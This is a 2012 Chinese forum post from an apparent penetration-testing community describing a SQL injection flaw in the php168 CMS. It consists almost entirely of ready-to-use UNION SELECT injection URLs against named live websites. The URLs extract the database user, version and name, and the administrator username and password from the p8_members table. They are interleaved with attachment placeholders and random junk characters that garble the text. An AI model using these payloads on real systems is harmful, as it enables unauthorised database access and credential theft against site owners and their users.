中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--/ B' q. J9 P) k/ M; E9 n, F* l: |

, D& T9 c& p; I* A) f                                     [attach]94[/attach]9 k& e- @, R( e! _9 O3 E  Y+ z/ `! Y

  r  A. \6 L  w" |http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
9 s. T, m" k# L. N4 A( z3 Z* S3 l                                                    ' P; P2 Z  R+ m( f$ m% T' b
                                                               & j, D0 P1 N  e% p6 m
                                                      [attach]95[/attach]
2 N% W4 W5 {) A; ?6 ^0 L9 rhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
+ s. O6 N& {, Z0 z% ?- l0 K3 S& l; a$ Z2 H& v2 G
# X2 ?+ N6 r0 y4 @, [

/ B8 ^" ~9 a" @7 I& r+ ~  L                                                          [attach]96[/attach]
* S" g; x# }- q+ @2 c   h( _2 ?- Q- s) w% M- W/ k) J  b
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
# `( }  F# ^  f* D& T+ S
  q8 Y7 F! t0 j' S
  e, v3 N. `  P" M( ~/ ]/ \. p0 D, F- z; A
                                                                  [attach]97[/attach]" {- Q3 {$ J8 \+ j# P& W2 J

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)